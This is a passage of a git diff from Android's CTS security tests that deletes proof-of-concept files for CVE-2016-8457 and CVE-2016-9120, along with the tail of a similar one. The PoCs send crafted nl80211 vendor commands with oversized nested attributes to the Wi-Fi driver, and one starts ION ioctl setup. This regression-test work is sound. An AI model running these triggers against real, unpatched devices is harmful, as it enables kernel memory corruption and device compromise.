-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  unsigned char oper_classes[253];
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);
-
-  rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);
-
-  if (!rret2) {
-    return 1;
-  }
-
-  nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);
-
-  nla_nest_end(msg, rret2);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
deleted file mode 100644
index 3ec6a31..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8457
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
deleted file mode 100644
index 9a9f02b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_test[256];
-
-  int i = 0;
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
-  unsigned char SSID11[DOT11_MAX_SSID_LEN];
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
-
-  rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-  if (!rret2) {
-    return 1;
-  }
-
-  for (i = 0; i < 4; ++i) {
-    rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-    if (!rret3) {
-      return 1;
-    }
-
-    nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, 256, &buf_test);
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
deleted file mode 100644
index 350e283..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-9120
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
deleted file mode 100644
index c03ee45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>  
-#include <unistd.h> 
-#include <sched.h>
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_type {
-	ION_HEAP_TYPE_SYSTEM,
-	ION_HEAP_TYPE_SYSTEM_CONTIG,
-	ION_HEAP_TYPE_CARVEOUT,
-	ION_HEAP_TYPE_CHUNK,
-	ION_HEAP_TYPE_DMA,
-	ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
-				 are at the end of this enum */
-	ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK		(1 << ION_HEAP_TYPE_SYSTEM)
-#define ION_HEAP_SYSTEM_CONTIG_MASK	(1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
-#define ION_HEAP_CARVEOUT_MASK		(1 << ION_HEAP_TYPE_CARVEOUT)
-#define ION_HEAP_TYPE_DMA_MASK		(1 << ION_HEAP_TYPE_DMA)
-
-#define ION_NUM_HEAP_IDS		sizeof(unsigned int) * 8
-
-struct ion_allocation_data {
-	size_t len;
-	size_t align;
-	unsigned int heap_id_mask;
-	unsigned int flags;
-	ion_user_handle_t handle;
-};
-
-
-struct ion_fd_data {
-	ion_user_handle_t handle;
-	int fd;
-};
-
-
-struct ion_handle_data {
-	ion_user_handle_t handle;
-};
-
-
-struct ion_custom_data {
-	unsigned int cmd;
-	unsigned long arg;
-};
-#define ION_IOC_MAGIC		'I'
-
-#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
-				      struct ion_allocation_data)
-
-#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-
-#define ION_FLAG_CACHED 1		/* mappings of this buffer should be
-					   cached, ion will do cache
-					   maintenance when the buffer is
-					   mapped for dma */
